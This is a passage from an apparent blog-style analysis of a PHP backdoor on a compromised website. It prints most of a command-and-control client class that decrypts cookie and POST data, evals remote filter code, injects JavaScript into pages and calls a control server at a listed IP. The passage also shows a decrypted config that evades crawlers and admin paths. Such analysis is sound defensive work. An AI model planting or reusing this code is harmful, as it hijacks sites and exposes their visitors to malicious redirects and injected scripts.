                        @header("$key: $value");
                    }

                    if (strlen($content["data"]) != 0)
                    {
                        exit(TdsClient::b64d($content["data"])); # TODO: check if its file
                    }
                }
            }
        }

        public function try_process_check_request()
        {
            foreach (array_merge($_COOKIE, $_POST) as $data_key => $data)
            {
                $data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key));

                if (isset($data['ak']) && $this->uid==$data['ak'])
                {
                    if ($data['sa'] == 'check')
                    {
                        return TRUE;
                    }
                }
            }

            return FALSE;
        }

        public function can_process_request()
        {
            $tds_config = $this->_get_config();

            eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}");

            if (function_exists("is_acceptable_tds_request"))
            {
                if (!is_acceptable_tds_request())
                {
                    return FALSE;
                }
            }

            return TRUE;
        }

        static public function postrender_handler($buffer)
        {
            // prepare page content
            $content = $buffer;
            $js_code = $GLOBALS['injectable_js_code'];

            if (strpos(strtolower($content), "</head>") !== FALSE)
            {
                $content = str_replace("</head>", $js_code . "\n" . "</head>", $content);
            }
            elseif (strpos(strtolower($content), "</body>") !== FALSE)
            {
                $content = str_replace("</body>", $js_code . "\n" . "</body>", $content);
            }

            return $content;
        }

        private function _decrypt_phase($data, $key)
        {
            $out_data = "";

            for ($i = 0; $i < strlen($data);) {
                for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }

            return $out_data;
        }

        private function _decrypt($data, $key)
        {
            return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid);
        }

        static public function b64d($input)
        {
            if (strlen($input) < 4)
            {
                return "";
            }

            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

            $keys = str_split($keyStr);
            $keys = array_flip($keys);

            $i = 0;
            $output = "";

            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);

            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];

                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    }

    $uid = '2a8e1321-21bc-1786-6319-2dfa38e2171a';
    $config = 'I249ID4...';

    $client = new TdsClient($config, $uid);

    if ($client->try_process_check_request())
    {
        echo "<tds>".PHP_EOL;
        echo $uid;
        echo "</tds>".PHP_EOL;
    }
    else
    {
        if ($client->can_process_request())
        {
            $client->process_request();
        }
    }
}

Holly Hypertext Preprocessor, Batman, — this is an entirey class for command & control!

Skipping the preliminaries, like checking the flag “file_get_contents ” once again in order to prohibit multiple execution, we encounter a class definition, another UID, yet another payload, and some code invoking the TdsClient class. — Let’s have a look at this class:

Private Properties

Properties “uid” and “config” are set by the constructor, the latter one also populating the “config_dict” after decryption and deserialization.

Private Methods (Utilities)

Public Methods

— Phew! —

Follows the UID and the encrypted config-string. Then, we meet the code invoking the TdsClient class. A new instance is created in variable $client and first checked for a heartbeat-request via method “try_process_check_request()”. If so, the script will return the UID embraced by a “tds”-tag. Otherwise, the client is invoked for “regular” processing, sending data regarding the remote client and remote IP to the control server, in order to obtain either a redirect header or code for a JS-injection.

So, what’s in the config-data?

Stage 6

Here, we’ve finally arrived at the bottom of this rabbit hole! And this is what the config data reads, when decrypted (line-wrap applied):

array(
  "route" => "a25utsaz",
  "tds_port" => "80",
  "tds_filter" => "if ($_SERVER['REQUEST_METHOD'] != 'GET' ||
  empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) ||
  strpos($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) !== FALSE)

  {

  return FALSE;

  }



  if (empty($_SERVER['HTTP_USER_AGENT']) ||
  preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google|
  msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider|
  facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT']))

  {

  return FALSE;

  }



  foreach (array('/\.css/', '/\.swf/', '/\.ashx/', '/\.docx/',
  '/\.doc/', '/\.xls/', '/\.xlsx/', '/\.xml/', '/\.jpg/', '/\.pdf/',
  '/\.png/', '/\.gif/', '/\.ico/', '/\.js/', '/\.txt/', '/ajax/',
  '/cron\.php/', '/wp\-login\.php/', '/\/wp\-includes\//',
  '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//',
  '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//',
  ) as $regex)

  {

  if (preg_match($regex, @$_SERVER['REQUEST_URI']))

  {

  return FALSE;

  }

  }



  return TRUE;",
  "tds_path" => "/example.php",
  "tds_ip" =>  "62.76.179.195"
);

Of note here are another IP-address and the code in “tds_filter”. The latter one blacklists some request conditions. In order to pass the check, a request must

Findings

So this is not about SEO, but about (targeted) advertising! (Maybe also about targeted drive-by infections?)

What to look for:

It actually looks like as if the TdsClient found in the encrypted database may have come first, with the outer wrappings — while not without some elegance of its own — mimicking its scheme. But this is just speculation.

Regarding the provenance or origin of the hack, we may note the two IP addresses we found:

Both IPs are of Russian context, honoring the rich tradition of the Russian nesting doll, also known as Matryoshka or Babushka.

Update: Apparently, similar code, using the TdsClient class as well, has surfaced previously. Compare “Analysis of a PHP Backdoor” by Paul Marrapese.